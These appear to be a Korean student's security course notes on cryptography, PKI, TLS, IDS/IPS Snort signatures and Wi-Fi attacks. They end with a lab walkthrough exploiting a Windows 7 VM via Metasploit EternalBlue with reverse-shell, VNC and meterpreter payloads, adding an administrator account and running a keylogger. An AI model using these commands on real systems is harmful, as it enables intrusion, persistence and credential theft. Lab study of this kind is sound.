  • 자 봐바 나한테 공개키랑 개인키가 있어 그래서 공개키를 나랑 연락하는 사람한테 준거야 그래서 그 연락하는 사람이 메시지를 써가지고 내 공개키로 암호화를 한거야 그래가지고 내가 그 메시지를 보기 위해 내 개인키를 사용해서 오픈을 한거지 내가 그 공개키의 주인입니다~~ 하면서 이게 RSA의 원리라는거지
  • RSA 실습 : https://www.devglan.com/online-tools/rsa-encryption-decryption
 

*Private Key의 권한은 600, Public Key의 권한은 644

 

인증서(Certificate)

  • 인증서는 공개키가 유효한 지, 올바른 사용자의 검증된 공개키인지를 확인시켜줌
  • 인증서 안에는 공개키와 공개키에 대한 정보들이 포함되어 있음
  • 웹 서버의 인증서는 웹브라우저에게 제공하는 방식을 사용(자물쇠 모양으로 표시)
  • 개인의 인증서는 거래하기 전에 미리 자신의 공개키를 등록하고 사용 (공동인증서 등록)

 

*2024년 현재 암호화 키 길이 비교

대칭키의 대표 AES는 256bit 사용, 공개키의 대표 RSA는 2048bit 사용

 

공개키 암호 알고리즘의 특징

  • 서로 연관된 키 쌍이 필요
  • 하나의 키로 암호화한 결과는 반드시 쌍이 되는 키로만 복호화 가능
  • 구조상 복잡한 수학연산이 필요(암,복호화 속도가 느려지는 원인)
  • 안전성이 수학적 이론에 근거 (RSA는 소인수분해, ECC는 타원곡선 등)
  • 키 관리 문제 해경
  • 서명기능, 기밀성 등의 기능 가능
  • 그러나 동일한 양의 데이터 암호화 시 대칭키 암호화에 비해 매우 느림
  • DES에 비하여 하드웨어 implementation에서 1000배가량 더 시간이 걸림

 

ECC (Eliptic Curve Crioptography)

  • 타원 곡선 암호화
  • 원리는 이산대수(Diffie-Hellman)에서 발전된 형태
  • 짧은 키 길이로 강력한 암호화를 제공

- RSA1024bit와 ECC160bit가 동등한 수준

  • 키가 짧아서 연산량이 줄어들고 리소스 덜 사용. 배터리도 덜 사용 : 모바일 환경에 적합
  • ECC는 사용한 지 5~7년(검증이 되어가는 중), RSA는 20년이 넘음( 충분한 검증)

 

Hash Function (해시함수)

 

해시함수란

  • 원문(파일, 텍스트, PW)을 해시함수에 입력하면 해시값(Hashcode) 출력
  • 내용이 변조가 되었는 지 확인하기 위해서 해시함수 사용(무결성)
  • 원리 : 메시지를 요약하는 과정을 여러 번 수행해서 해시값 계산
  • 해시값은 의미가 없는 상태가 됨
  • 원문이 같으면 여러 번 계산해도 같은 해시값이 나옴

 

해시함수의 무결성 검증

  • 해시값이 다르면, 원문이 수정(변조)되었음을 알 수 있음
  • 원문에 해시값을 붙여서 보내서 해시값이 일치하지 않으면 변조된 것을 알 수 있음
  • 해시값도 고치면 변조되었는 지 확인이 어렵기 때문에 해시값을 고치지 못하도록 해야 함

- 해시값을 개인키로 서명하면 고칠 수 없음

 

해시함수 방식

  • MDC : Modification Detection Code(변조 탐지 코드)

- 내용 수정 여부를 알아내는 것에 초점(무결성)

  • MAC : Message Authentication Code(메시지 인증 코드)

- 보낸 사람에 대한 검증을 하는 것이 초점(사용자 인증)

 

해시함수 특징

  • 일방향 함수

- 해시함수와 해시값을 알아도 원문으로 복구할 수 없음

  • 고정길이 출력 : 원문의 길이가 다르더라도 항상 일정한 값으로 출력

- MD5(128bit) : 해시값이 항상 128bit로 출력

- SHA-1(160bit) : 해시값이 항상 160bit로 출력

- SHA-256(256bit) : 해시값이 항상 256bit로 출력

  • 충돌 방지(충돌은 원문이 다른데 해시값이 같은 것)

- MD5(128bit)가 충돌될 가능성 : 1/(2의 128제곱)

- SHA-1(160bit)가 충돌될 가능성 : 1/(2의 160제곱) //사실상 0에 수렴

- SHA-256(256bit)가 충돌될 가능성 : 1/(2의 256제곱) //사실상 0에 수렴

 

*해시값이 충돌될 가능성은 매우 낮지만 2010년대가 되면서 컴퓨터의 발전으로 MD5(128bit)와 SHA-1(160bit)는 더이상 안전하지 않음

 

*해시함수 충돌 예시

 
대표사진 삭제

다른 색상인 파일인데

 
대표사진 삭제

SHA-1 보면 해시값이 같음

*암호화 종류 정리

전자서명 원리

 

* 서명(Signature) : Hash된 값을 상위 인증서 서버 비공개키로 암호화 후 상위 인증서 서버 공개키로 복호화하여 상위 인증서가 본인의 서버 비공개키로 암호화 해줌을 확인하고 Hash된 값을 비교하여 인증서의 무결성을 확인

 

전자서명 중 메시지 부가형 (송신측)

  • 원문의 내용은 굳이 비밀이 아님 : 누구나 알아도 상관 없음

- 예시) 전직원 한달 간 유급휴가

  • 개인키/공개키로 암호화/복호화 하면 데이터가 클 경우 시간이 오래 걸릴 수 있음

- 메시지 부가형 방식 선택

  • 원문의 해시값에 송신자(사장)의 개인키로 서명을 해서 원문에 부착해서 보냄

 

전자서명 (수신측)

  • 원문 메시지에서 해시값을 추출하고 (1)
  • 서명된 해시값을 송신자(사장)의 공개키로 복호화 하면 해시값이 나옴(2)
  • (1)과 (2)를 비교해서 일치하면 무결성이 가능해짐

- (1)은 직원이 계산한 값, (2)는 사장님이 넣어준 값

  • 송신자(사장)의 공개키로 복호화가 된다는 것은 사장님이 개인키로 서명을 했다는 것

- 인증

  • 사장님이 부인할 경우, 공개키로 복호화되는 것을 증명하면 반박 불가

- 부인봉쇄

 

*전자서명에서는 기밀성이 지원되지 않음

 

*사례

은행에서 계좌이체 시 (OTP입력, 계좌 비밀번호 등) 공동인증서 창이 나오고 비밀번호 입력(서명에 해당)

계자이체 내용을 본인의 공동인증서(개인키)로 암호화 하는것 (무결성, 인증, 부인봉쇄)

 

PKI (Public Key Infrastructure)

  • 네트워크 상에서 안전하게 공개키를 사용하기 위한 환경
  • Entity : End(User) Entity

- subscriber, relying parties

- 공개키를 사용한 서명, 확인, 암호화 수행

  • Management Entity

- CA/RA(Repository(LDAP)

- 인증서의 발급, 갱신, 변경, 취소, 발급된 인증서를 publish 할 장소

  • Transaction

- Operational Trasactions (End Entity's) : 공개키를 사용한 암호화 및 서명, 서명 혹은 인증서의 적합성 판단

- Management Transactions(Management Entity's) : 인증서 자체의 생성, 폐기, 만료, 인증 취소 목록의 발행

 

PKI 구조

  • CA : RA 또는 사용자의 요청이 있을 경우 인증서 발급 및 인증서 폐기목록 ( CRL) 생성
  • RA : 사용자의 요청이 있을 경우 사용자의 신원을 확인하고 CA에 인증서 발급 요청
  • End Entity : 인증서를 사용하는 요소로서 개인 혹은 서버나 라우터 등의 장비 가능
  • Repository : CA나 RA로부터 인증서나 CRL 받아서 저장, 요청 시 제공

 

 

인증서 기본 구조

*네이버 인증서 서명

 
대표사진 삭제

사진 설명을 입력하세요.

  • 인증서(Leaf Certificate) : HTTPS 서비스를 위하여 발급 받은 인증서서로 서비스가 올라간 서버에 적용, 중간 인증서에 인증서 정보가 Hash된 값을 전달하여 서명 요청
  • 중간 인증서(Intermediate Certificate) : 인증서를 서명해줌, Root 인증서에 의해 서명 된 상태
  • Root 인증서(Root Certificate) : 중간 인증서를 서명해줌, 본인의 서버 공개키로 Self 서명 된 상태, 브라우저들은 신뢰하는 Root 인증서 리스트를 가지고 있음

 

* Root CA ( 최상위 인증 기관) : 인증기관을 관리하는 기관

국내에는 KISA(NPKI), 행안부(GPKI), 국방부(MPKI), 교육부(EPKI) 등

 

*인증기관(CA) : 인증서를 발행

1) 글로벌 인증 : Thawte, Google Trust Service LLC, DigiCert

2) 국내 인증 : 공인인증기관은 5개 ( 금융결제원, 무역정보통신, 한국정보인증, 한국전자인증, 증권전산)

 

*등록기관 (Registration Authority)

인증서 등록 업무를 대행, 신원 검증

시중은행 : 우리, 하나, 국민, 신한, 농협 등

증권회사 : 미래에셋, 삼성증권 등

전문업체 : 가비아 등

 

*사례

웹사이트 만들 때 도메인 구입하고 도메인에 대한 웹서버 인증서 받아야 함 그래야 회원가입 받을 수 있음

개인정보보호법에 따라 고객의 개인정보를 취급하면 암호화 조치를 해야 함

 

인증서 신뢰 검증 절차

  • 거래 상대의 인증서를 인증기관이 서명해서 보증을 해 줌
  • 인증기관은 누군 지 잘 모르지만 최상위 인증기관의 인증서가 우리 컴퓨터 안에 들어있어서 최상위 인증기과느이 인증서(공개키)로 검증 해보니 인증기관이 믿을 수 있는 기관임을 확신함
  • 인증 기관이 믿어도 된다고 하는 웹사이트의 인증서를 믿을 수 있게 됨

 

 

KISA의 Root CA 인증서 설치하기

  • 올바른 KISA의 인증서를 설치한 것인 지 확인하기 위해 실제 인증서의 해시값과 최상위 인증기관 인증서 신뢰성 확인 필요
 
  • 값이 일치하면 KISA에서 믿어도 된다는 사이트들은 모두 신뢰 가능함

 

*은행에서 자체적으로 발행하는 인증서는 공인인증서 체계가 아니라 사설인증서 체계이며 법에서 은행은 발행해도 되는 업체로 인정함

 

* 정체 모를 루트 인증 기관의 인증서를 받으면 불법 사이트들이 모두 합법적인 사이트인 것처럼 보이게 됨

 

SSL/TLS

SSL (Secure Socket Layer)

  • Socket Layer는 비표준 오래된 용어
  • 넷스케이프에서 웹서버와 웹브라우저 간 암호화 통신을 위해 개발한 프로토콜
  • SSL에서 지속적으로 취약점이 발생해서 표준화하며 이름 TLS로 정함
  • SSL Handshaking
  • TLS 1.2까지 이런 handshaking 썼는데 1.3되면서 줄어 듬

- 만분의 1초 줄었지만 전세계 트래픽 양을 고려하면 꽤 큼

TLS(Transport Layer Security)

  • SSL3.0을 개량 및 보완해서 TLS 1.0 만듬
  • 웹서버의 인증서를 제공하면 웹 브라우저에서 세션키(대칭키) 생성하고 세션키를 웹서버의 공개키로 암호화해서 전송
  • 웹서버는 개인키로 복호화하면 세션키가 나오게 됨

- 웹브라우저와 웹 서버는 같은 세션키를 갖게 됨

  • 그 뒤로는 데이터를 세션키로 암호화 및 복호화하면 됨
  • 실제로는 SSL을 사용하지 않고, TLS만 사용하고 있지만 관용적으로 SSL/TLS로 부르고 있음
  • 취약점으로 인해 TLS 1.2이상 사용 권장

 

망 공개 방식

  • Public Network

- 누구나 이용가능한 네트워크 (주로 ISP들이 연결해 줌)

- 저렴하지만 안전하지 않음

  • Private Network

- 네트워크를 따로 구축해서 사용, 외부사람들 접근 불가

- 안전하지만 비쌈

  • VPN (Virtual Private Network, 가상의 사설망)

- 기존의 Public Network에 암호화해서 연결해주는 서비스

- 암호화가 종료되는 지점(VPN업체)로부터 인터넷으로 연결됨

- 내 IP 주소 숨기기 가능, 차단된 사이트 접속 가능

 

VPN 계층별 프로토콜

  • 2계층 : L2F(Cisco), PPTP(MS), L2TP(표준)
  • 3계층 : IPsec(3계층 암호화)
  • 4계층 : SSL VPN (TLS 방식, 이름만 SSL)
  • IPsec 방식에 2가지 모드 있음

- Transport 방식 : 종단간 암호화 지원, 데이터부분만 암호화, 헤더는 평문 노출

- Tunneling 방식 : 데이터와 헤더 모두 암호화, 터널헤더 추가 방식

 

 

 

암호화 키 부분 복습

 

Diffie-Hellman

  • 최초의 공개키방식 제안 : 이산대수의 어려움에 근거한 방식 (1976년)
  • 개인키를 이용해 공개키를 생성한 후 공개키를 암호화 통신을 원하는 상대에게 제공 (공개키 교환)
  • 상대방의 공개키와 자신의 개인키를 연산해서 세션키(대칭키)를 생성

- 대칭키 교환 문제 해결

  • 전송하려는 데이터는 세션키로 암호화 및 복호화 가능해 짐
  • 단점 : MITM 공격에 취약 --> 많이 사용하지 않음 (사용예시 : 텔레그램)

 

RSA

  • 소인수분해의 어려움에 근거한 방식 (1977년)
  • 공개키로 암호화하면 개인키로 복호화 (기밀성)
  • 개인키로 암호화하면 공개키로 복호화 (인증 및 부인봉쇄)
  • 2004년에 특허 만료, 무료로 사용 가능 --> 사실상의 표준 (De Facto)

 

Killer 이야기

  • TCP/IP

- 기밀성 (Killer는 Boss의 부하)

송신측 : Boss는 "A를 죽여라"를 Killer의 공개키로 암호화해서 전송

수신측 : Killer는 암호문을 복호화하기 위해 자신의 개인키로 복호화

그럼 Killer가 A를 죽이러 갔을까??

정답은 NO 왜냐면 Boss가 보냈는 지 확실하지 않거든

- 인증

송신측 : Boss는 "A를 죽여라"를 자신의 개인키로 암호화해서 Killer에게 전송

수신측 : Killer는 암호문을 Boss의 공개키로 복호화 --> Boss가 개인키를 사용했다는 증거(Boss 확인)

그럼 Killer가 A 죽일 수 있을까??

NO 왜냐면은 A도 메시지를 볼 수가 있었거덩

- 기밀성 + 인증

송신측 : Boss는 "A를 죽여라"를 자신의 개인키로 암호화한 후 Killer의 공개키로 2차 암호화해서 Killer에게 전송

수신측 : Killer는 암호문을 자신의 개인키로 복호화하고 Boss의 공개키로 2차 복호화

(Boss가 보낸 것이 확실(인증)하고 Killer 혼자만 메시지를 볼 수 있음(기밀성))

Killer가 갔을까?

가긴 갔어 근데 너어무 늦게 감 왜냐면 공개키 방식은 속도가 오래 걸리기 때문 (사실 아무리 오래걸려도 5분임)

  • PGP (Pretty Good Privacy)

- 매우 잘 된 보안 이라는 뜻인데 그럼 사실 매잘보..

- 기밀성 + 인증 + 효율성 + 무결성 모두 잡은 것

- 효율성을 높이기 위해(=속도 향상) 대칭키 사용하면 됨

송신측 :

1차 무결성 - 메시지의 해시값을 구해서

2차 암호화(인증) - 송신자의 개인키로 암호화

3차 암호화(기밀성) - 대칭키를 만들어서 메시지를 암호화, 대칭키는 수신자의 공개키뢰 암호화

==> 붙여서 한 번에 보냄 (메시지 부가형)

수신측 :

1차 복호화(기밀성) - 수신자의 개인키로 대칭키를 복호화 함 --> 대칭키

2차 복호화(인증) - 대칭키로 메시지를 복호화해서 해시값 구함

3차 무결성 - 메시지에서 해시값을 계산해서 송신자의 공개키로 복호화한 해시값과 비교

이제 킬러가 잘 죽였대..

 

*PGP는 이메일 암호화 기법 --> 너무 복잡해서 GPG 등장

 

해시함수(Hash Function)

  • 고정길이 출력 : 원문의 길이와 관계없이 항상 일정한 크기로 출력
  • 일방향 함수 : 원문으로 해시값을 구할 수 있지만, 해시값과 해시함수 알아도 원문 못 만듬
  • 충돌방지 : 해시값의 개수는 상당히 커서 원문 다르면 해시값 달라짐 (무결성검증)

 

인증서(Certificate)

  • 공개키와 공개키의 해시값에 인증기관(CA)의 개인키로 서명한 것이 포함되어 있음
  • 공개키의 주인이 올바르다는 것을 인증기관이 보증
  • 인증기관이 정부에서 인정한 공인인증기관이면 인증서는 공인인증서가 됨 (공동인증서)
  • 데이터 3법의 개정안이 나오면서 은행, 증권회사도 자체 인증기관으로 인증서 발행 가능해짐
  • 서버용 글로벌 인증서(SSL인증) : 1년에 30만원 이상
  • 개인용 공동인증서 : 4400원/1년

 

SSL/TLS

  • SSL로 시작했으나 취약점이 나타나서 TLS로 표준화해서 사용 중
  • TLS는 웹서버의 인증서를 웹브라우저에서 제공하는 프로토콜
  • https 뿐 아니라 다른 7계층 프로토콜들도 TLS 사용 가능

 

*RC 시리즈는 Rivest교수 팀이 만듬

RC4는 예전 IP 공유기에서 사용, XOR연산, 지금은 안전하지 않음 --> 사용금지

RC6는 AES 선정에서 2차까지 진출했지만 Rijindael보다 속도가 느려서 탈락, 많이 사용안하지만 안전

 

IDS

 

보안 솔루션

  • 방화벽 : 3계층, 4계층

- Big5 : 출발지 IP, 목적지 IP, 출발지 Port, 목적지 Port, 프로토콜

- 허용 또는 거부를 결정

 

IDS 종류

  • IDS는 탐지만 해서 공격 등이 탐지되면 관리자에게 Alarm 보냄
  • HIDS

- SW형태로 설치됨

- 어떤 작업을 했는지에 대한 기록을 남기고 추적

  • NIDS

- HW + OS + SW 일체형으로 판매하고 방화벽 뒤에 배치

- 네트워크 전반에 대한 감시, 상대적으로 감시 영역이 큼

  • IDS는 유지보수 비용이 발생하므로 새로운 유형의 공격이나 악성코드를 감지하기 위해 지속적으로 업데이트 필요

 

IDS 탐지 원리(기법)

  • 오용탐지 ★★★★

- Misuse Detection

- 기존에 알려진 악성코드와 공격 유형 등을 정리해서 DB로 만들어둠 --> Signature DB

- 악성코드나 공격에 대한 정보는 지식이므로 지식기반이라고 함 (Knowledge Based)

- 업데이트 필수 : 새로운 유형의 악성코드나 공격유형을 지속적으로 DB에 추가해야 함

- 패턴매칭 : 저장해 놓은 시그니처와 패킷의 데이터 부분을 비교해서 일치하면 관리자에게 알려줌

- 정확도가 높음 : 오탐이 적음, 미탐은 있을 수 없음

- 지식을 모아서 분석하므로 전문가 시스템으로 발전

  • 상태전이

- State Transition

- 각각의 공격 상황에 대한 시나리오 작성해 두고 각각의 상태에 따른 공격 분석

- 결과가 매우 직관적이나 세밀한 시나리오를 만드는 것이 어려움

- 추론 엔진이 들어가기 때문에 시스템에 부하 올 수 있음

  • 이상탐지 ★★★★

- Anomaly Detection

- Behavior나 Statistical Detection이라고도 불림

- 평소의 트래픽을 약 2주간 모아서 저장 (정상, 기준으로 정함)

- 통계기반이라고도 함, 정확도 낮음 : 오탐 많음, 미탐 적음 --> 너무 잦은 알람은 무시될 수있음 (양치기소년)

- 새로운 공격 등을 파악 가능

- 최근에는 Deep Learning, AI 등을 활용해서 오탐 줄이는 중

 

침입탐지 시스템 설치 위치

  • 패킷이 라우터로 들어오기 전 : 모든 공격 탐지가능. 그러나 너무 많은 공격에 대한 데이터 수집. 내부 네트워크로 침입한 공격과 그렇지 않은 공격 구분 어렵기 때문에 효율적이지 못 함
  • 라우터 뒤 : 라어터의 패킷 필터링을 거친 뒤 패킷 검사. 좀 더 적은 수의 공격과 좀 더 강력한 의지 가진 공격자 탐지 가능
  • 방화벽 뒤 : 방화벽 뒤에서 탐지되는 공격은 네트워크에 직접 영향을 주므로 탐지되는 공격에 대한 정책과 방화벽과의 연동성이 가장 중요한 부분. 내부에서 외부로 향하는 공격도 탐지할 수 있는 곳 (주로NIDS 여기에 설치)
  • 내부 네트워크 : 방화벽은 외부 침입을 일시적으로 차단. 내부에 대해서는 거의 무방비. 따라서 내부 네트워크 해킹 감지하고자 할 때 설치 (주로 이상탐지)
  • DMZ(Demilitarized Zone) : DMZ에 침입탐지 시스템을 설치하는 것은 매우 능력이 뛰어난 외부 공격자와 내부 공격자에 의한 중요 데이터 손실이나 서비스 중단 막기 위함. (주로 오용탐지)

 

IPS (Intrusion Prevention System)

  • 침입 방지 시스템
  • IDS가 탐지하고 알려주기만해서 관리자가 확인하고 조치 취해야 함 --> 대규모 네트워크에서 관제 사용
  • IPS는 탐지하고 스스로 차단하는 기능 있음 ( IPS = IDS + FW + 추가기능)

- 소규모 네트워크, 부분적으로 사용

  • 일반적으로 내부 네트워크와 방화벽 사이에 설치
  • 방화벽이 네트워크 앞부분에서 불필요한 외부 패킷 한 번 걸러주어 침입방지 시스템이 더 효율적으로 패킷 검사 가능
  • 근데 보안솔루션이 많을수록 속도는 줄어 듦

 

Snort

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS ( msg:"MALWARE-CNC MultiOS.Malware.GORAT outbound communications attempt"; flow:to_server,established; http_method; content:"GET"; pkt_data; content:"|0D 0A|Cookie: SID1=",fast_pattern,nocase; http_header; content:!"|0D 0A|Referer:"; content:!"|0D 0A|Accept"; metadata:impact_flag red,policy max-detect-ips drop,policy security-ips drop,ruleset community; service:http; reference:url,fireeye.com/blog/threat-research/2020/12/unauthorized-access-of-fireeye-red-team-tools.html; classtype:trojan-activity; sid:56596; rev:1; )

--> alert : 관리자에게 알려줌

--> tcp : tcp로 연결 됨

--> 핑크를 보면 내부에서 외부로 나가는 것임을 알 수 있음

--> msg : 관리자에게 보내지는 알람 내용 " " 안의 내용이 알림화면에 뜸

--> 그래서 트로이안일 것을 예측했는데 파랑 보니 트로이안 확실. GORAT은 트로이안 중 하나로 RAT은 Remote Access Trojan의 줄임말. RAT 쥐니까 좁은 곳 왔다갔다 잘 한다는 중의적 단어

--> CNC는 경유지 Computer를 뜻 함

--> 주황 : 서버방향, established (3-way handshaking 완성)

--> content 안에 내용이 공격 패턴 뜻 함

--> content 앞에 느낌표는 제외라는 뜻

  • 예시 2

alert tcp $HOME_NET 2589 -> $EXTERNAL_NET any ( msg:"MALWARE-BACKDOOR - Dagger_1.4.0"; flow:to_client,established; content:"2|00 00 00 06 00 00 00|Drives|24 00|",depth 16; metadata:ruleset community; classtype:misc-activity; sid:105; rev:14; )

--> 파랑은 내부망 2589포트를 이용해 외부망의 어떤 포트로 나갈 때 탐지

--> 초록은 클라이언트 방향이고 쓰리웨이핸드쉐이킹 완성

--> 빨강은 공격패턴 --> DATA 부분에 들어있는 지 확인 함

  • 예시3

alert ssl ( msg:"SERVER-OTHER OpenSSL x509 crafted email address buffer overflow attempt"; flow:established; content:"|06 03 55 1D 1E|"; ber_skip:0x01,optional; ber_data:0x04; ber_data:0x30; ber_data:0xa0; ber_data:0x30; content:"|81 82|",within 2; byte_test:2,>,500,0,relative; content:"xn--",within 4,distance 2,fast_pattern; metadata:policy balanced-ips drop,policy connectivity-ips drop,policy max-detect-ips drop,policy security-ips drop,ruleset community; reference:cve,2022-3602; reference:cve,2022-3786; reference:url,blog.talosintelligence.com/openssl-vulnerability/; classtype:attempted-user; gid:1; sid:300307; rev:3; )

--> 파랑은 인증서

--> 초록처럼 취약점 코드번호 바로 있는 경우 있음

--> 주황은 공격 패턴

--> 핑크는 정책들

 

*0D 0A (개행문자 = 줄바꿈 = 한 줄 내림 + 커서 왼쪽이동)

http 헤더 끝날 때 0D 0A 한 번 사용, http 요청 모두 끝나면 0D 0A 0D 0A (2번 사용)

0x0D : Carriage Return(커서를 맨 왼쪽으로 이동)

0x0A : Line Feed (한 줄 내림)

 

*RAT (Remote Access Trojan)

네트워크 기능이 있는 아주 작은 실행파일을 압축 파일에 넣고 실행할 수 있도록 스크립트를 같이 넣어줌(압축이 풀리면서 스크립트가 동작하며 실행파일이 작동되도록 함 --> 네트워크 연결 기능으로 C&C에 접속하게 됨)

대표적인 RAT: GORAT,FATRAT(실습용), GhostRAT

만들기 쉽고 필요한 기능을 골라서 넣어서 custom가능 Dark Web에서 가장 많이 팔리는 유형

 

*APT groups and operations spreadsheet

APT Group : 해킹팀, operations : 해킹 작전 --> 해커 팀들이랑 했던 작전 모아둔 파일

https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/edit#gid=1864660085

APT Groups and Operations

README General Information,How to Search in this Spreadsheet? Topic,Comment Motive,Cyber security companies and Antivirus vendors use different names for the same threat actors and often refer to the reports and group names of each other. However, it is a difficult task to keep track of the diff...

docs.google.com

*악성코드, 공격명령은 전부 DATA 부분에 있음

DATA부분은 보는 장치 : IDS, IPS, Virus Wall, Proxy Server, Layer7 Switch 등


 

무선 네트워크 보안

 

Wireless LAN

  • IEEE 802.11 : 흔히 무선랜, 와이파이(Wi-Fi)라고 부르는 무선 근거리 통신망(LAN) 또는 무선 네트워크에 사용되는 표준 규격으로, IEEE의 LAN/MAN 표준 위원회 (IEEE 802)의 11번째 워킹 그룹에서 개발된 표준 기술을 의미

 

WLAN Attack : Wardriving

  • 이동수단을 이용하여, 무인증 무선 네트워크 찾아다니는 행위
  • 해킹 경유지의 순차적 추적 불가능
  • 무선 AP에는 접속 로그 미존재 (왜냐면 덮어쓰기 형식이라 시간지나면 사라지거덩)
  • 실시간 추적시에도 무선 AP로부터 접속사 위치 확인 불가능(어케 확인할건디 차에 있는 지 옆방인지 뭔지)
  • 실시간 이동 공격자에 대한 추적 대책 미흡(핸드폰 위치추적기술(삼각측량)같은 방법 필요)

 

MAC address Authentication Attack

  • MAC주소 기반으로 AP에 접속하고자 하는 Station들 제어
  • MAC주소는 쉽게 위조 가능
  • 무선랜 네트워크를 모니터링(Sniffing)함으로써 쉽게 MAC주소 획득 가능
  • 공격자들은 무선랜 통신을 계속 감시 가능
  • MAC 주소의 Brute-force 공격 (모르는 맥주소 부분 하나씩 일일이 대입해서 알아내는 방식)가능
  • MITM 기술로 네트워크가 공격에 노출

 

Rogue AP - Spoofing Attack

  • 공유기를 활용한 공격
  • Station은 항상 가장 신호가 센 AP로 접속
  • Attacker는 목표 AP랑 동일한 SSID 사용
  • Attacker는 목표 AP보다 강한 신호 발생시킴
  • Victim이 접속하기 가장 용이한 AP로 위장
  • Victim은 아무런 의심 없이 AP 접속
  • Attacker는 정상적인 홈페이지를 위장한 가상홈페이지 열어놓고 ID/PW 입력 유도
  • 긍까 쉽게 말하면 우리가 Starbucks_Wifi_5G 일케 있으면 연결할거 아니야 근데 이게 이름만 같은 다른 나쁜놈거라는 거지 그래서 거기에 접속하면 이제 공격이 들어오는 겨

 

*Wi-Fi 저장목록확인

폰에 네트워크 관리 들어가면 한 번이라도 접속했던 WiFi목록이 있는데 앞으로 접속할 일이 없는 Wi-Fi 목록은 삭제해야 함 왜냐면 누군가 모니터링 하고 있으면 Wi-Fi목록 전체를 볼 수 있기 때문

 

802.11 Attack

  • Passive Monitoring : 인터넷 활용해서 메시지 보낼 때 중간에서 정보만 확인하는 것
  • DoS Attack : Denial of Service Attack, 과도한 트래픽을 유발해서 알람이 안가도록 하는거 예를 들면 공격자가 내 정보 털어서 비싼거 결제해놓고 내가 사용중인 와이파이 트래픽에 과도한 정보를 전송해서 나는 카드 승인 알림을 못받은겨 그래서 취소도 못했어 근데 나중에 정상이 되고 보니까 승인돼서 막 취소도 안되는 그런 상황을 만드는 겨
  • MITM : 중간에서 폰에는 공유기 MAC주소 주고, 공유기에는 폰 주소 줘서 서로 연결된 것 처럼 보이지만 사실 둘 다 공격자한테 연결된 거

 

Viral WiFi (바이러스 형태의 애드혹)

  • 자동으로 Viral SSID에 연결되는 바이러스 형태의 애드혹
  • 사용자가 무의식적으로 Viral SSID에 접속하면 기본 네트워크 설정 리스트에 SSID가 자동으로 추가됨
  • Viral SSID에 접속한 모든 사용자에게 공유폴더 내의 자료 노출 가능
  • Viral SSID의 예 : 'Free Public WiFi', 'Free Internet', 'default'

 

 

실습

*VMware에서 window7과 kali 준비

 

윈도우 7 취약점 존재 확인

  • 기본스캔
$ sudo  -i
# nmap -sP 192.168.5.100-150          // 켜져있는 시스템 확인
# ping 192.168.5.131                  // TTL=128 (Windows)
# nmap -sV 192.168.5.131              // 버전 확인
# nmap -A  -T4 192.168.5.131
# nmap -O   192.168.5.131               
// 2008, 7, 8.1, 2012 중 하나라고 함 ---> 공통 취약점이 존재할 수 있음!
 
  • 구글검색

- 구글에서 2008 windows 7 windows 8.1 2012 exploit 검색해 보니

- EternalBlue SMB Reomote Code Execution 취약점 소개

- MS17-010, CVE-2017-0144 취약점 번호 확인

  • 스크립트 활용한 상세 스캔
# cd  /usr/share/nmap/scripts
#  find  .  -name "*ms17-010*"         
// ms17-010 취약점 점검 스크립트를 찾음
# nmap  --script=smb-vuln-ms17-010.nse  192.168.5.131
 // 결과에 VULNERABLE: 있음 확인
 

- CVE-2017-0143~0148 전부 같은 취약점인데 이름만 다른 거

  • Exploit
# msfconsole
search  ms17-010
search  cve-2017-0143
// ----->  exploit/windows/smb/ms17_010_eternalblue    ( 0번인 경우)
> use  0
> info
 
no는 굳이 세팅 안해도 됨

 

원격조종

show  payloads
set  payload  windows/x64/vncinject/reverse_tcp     ( =set payload 69)    
// reverse를 payload로 사용하면 lhost설정
set  lhost   192.168.5.128           // 공격자의 IP (Kali Linux IP)
set  rhost   192.168.5.131           // target host의 IP (Windows7)
set  viewonly  false                 // 보기만 하는 것이 아니라 원격 조종을 하겠다를 선택(false)
exploit
 
  • Kali Linux 화면에 VNC Viewer가 뜨고 윈도우7의 바탕화면이 보임

- 마우스 클릭 및 키보드 조종 가능

짠 화면 똑같지? 왼쪽이 찐이고 오른쪽이 내가 공격해서 똑같이 해둔 것

 

그래서 양쪽 번갈아가면서 메모장에서 대화함.. 나랑.. 내가... 나눈 대화

 

  • 장치관리자에서 마우스 부분을 조종해봅시당

- HID 마우스 (위에거) : 마우스 움직임 관리 --> 사용안함으로 하면 마우스 안움직임 (클릭은 됨)

- HID 마우스 (아래 것) : 마우스 클릭 관리 --> 사용안함으로하면 마우스 클릭 안됨 (움직이긴 함)

 

 

Shell (명령프롬프트) 원격 조종

set  payload  windows/x64/shell/reverse_tcp                  
// 페이로드는 공격 성공 이후의 연결방법 : shell(명령프롬프트)
exploit 해서 성공한 경우
// (DOS 쉘 사용 가능)
whoami
// nt  authority/system : 시스템 권한이 주어져 있음)
net  user  blackpink  icecream12#$  /add
// 확인방법 : 컴퓨터 관리 > 사용자 및 그룹 관리 > 사용자)
net  localgroup  administrators   blackpink  /add 
// 확인방법 : blackpink계정에 클릭하고 소속그룹을 보면 administrators가 추가되어 있음을 확인)
// ---> RDP접속 가능!!  
// (연결 해제를 위해서 ctrl+c) 
abort session 1?  y
 

- RDP (Remote Desktop Protocol) : 윈도우에서 다른 윈도우에 접속할 때 사용하는 방식

 

Meterpreter 접속

  • 파일주고받기
show  payloads
set  payload   windows/x64/meterpreter/reverse_tcp          
// 리눅스명령어와 비슷한 쉘을 사용할 수 있음
exploit
//성공하면 아래와 같은 프롬프트가 나옴
meterpreter >   ?                         // 사용 가능한 명령어 목록을 볼 수 있음
 
// 윈도우7에 있는 파일을 다운로드
download  C:\\Users\\John\\Pictures\\blackpink.jpeg   /home/kali/Desktop
download  C:/Users/John/Pictures/*.jpg   /home/kali/Desktop

// Kali에 있는 파일을 윈도우7으로 업로드
upload   /usr/share/windows-binaries/nc.exe    C:/Users/John/Documents
 
  • 키로거 동작시키기
ps
//explorer.exe      
// 윈도우 탐색기의 프로세스, 이 프로세스의 맨 앞에 있는 번호 PID를 확인
migrate  1780
// spoolsv가 explorer.exe의 아래 하위 프로세스로 이동
keyscan_start                      // 키로거 동작 시작
keyscan_dump
// 뭐라고 쓰는 지 다 보임
keyscan_stop                       // 키로거 동작 중지
 
이건 내가 네이버에서 로그인 하는데 비밀번호 헷갈려서 다 지우고 다시 그냥 존재하지 않는 아이디 비번 쳤는데 그게 다 나온거임

 

 
 

 

 

'SK 쉴더스 루키즈' 카테고리의 다른 글

